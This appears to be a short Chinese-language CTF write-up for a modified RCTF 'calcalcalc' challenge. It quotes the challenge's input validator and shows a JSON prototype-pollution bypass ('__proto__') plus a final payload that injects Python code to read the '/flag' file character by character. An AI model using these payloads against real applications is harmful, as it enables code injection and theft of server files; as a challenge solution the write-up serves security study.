本题是2019 RCTF calcalcalc的改版,这次限制了之前的时间延迟注入的问题,同时需要Bypass validator:
validate(value: any, args: ValidationArguments) {
const str = value ? value.toString() : '';
if (str.length === 0) {
return false;
}
if (!(args.object as CalculateModel).isVip) {
if (str.length >= args.constraints[0]) {
return false;
}
}
if (str !== "114+514") {
return false;
}
return true;
},
},
我们可以看见,我们输入的式子必须的值必须为114+514
这里会使用toString来校验我们的数据,由于提供的数据类型类型是any,可以使用JSON数据进行原型链污染,从而绕过114+514的校验,绕过方式为
{"expression":"1+1","__proto__":{"b":"114+514"}}
最终的payload
{"__proto__": {}, "isVip": true, "expression": "1//1 and ord(open('/flag').read()[1]) >-1 and 1\n"}